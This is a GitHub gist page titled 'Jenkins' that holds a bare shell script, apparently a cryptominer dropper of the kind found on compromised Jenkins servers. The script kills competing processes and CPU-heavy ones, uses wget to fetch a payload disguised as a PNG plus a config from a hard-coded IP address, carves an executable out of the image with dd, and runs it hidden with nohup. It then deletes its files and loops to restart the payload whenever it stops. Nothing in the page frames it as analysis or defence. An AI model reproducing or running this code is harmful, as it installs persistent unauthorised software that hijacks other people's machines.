Skip to content

Instantly share code, notes, and snippets.

@wizardbyron
Created January 10, 2019 00:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wizardbyron/f0aa83c01a3bd21b080d895470178e32 to your computer and use it in GitHub Desktop.
Save wizardbyron/f0aa83c01a3bd21b080d895470178e32 to your computer and use it in GitHub Desktop.
Jenkins
#!/bin/sh
pkill conns
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print “: " $2}'|sh
pkill bonns
ps -fe|grep donns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn
wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/donns
chmod +x /tmp/donns
nohup /tmp/donns -B -c /tmp/config.conf >/dev/null 2>&1 &
else
echo "runing....."
fi
sleep 10
rm -rf /tmp/config.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/bonn.sh
sleepTime=20
while [ 0 -lt 1 ]
do
ps -fe| grep donns | grep -v grep
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print "kill -9 " $2}'|sh
wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn
wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/donns
chmod +x /tmp/donns
nohup /tmp/donns -B -c /tmp/config.conf >/dev/null 2>&1 &
rm -rf /tmp/config.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/bonn.sh
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment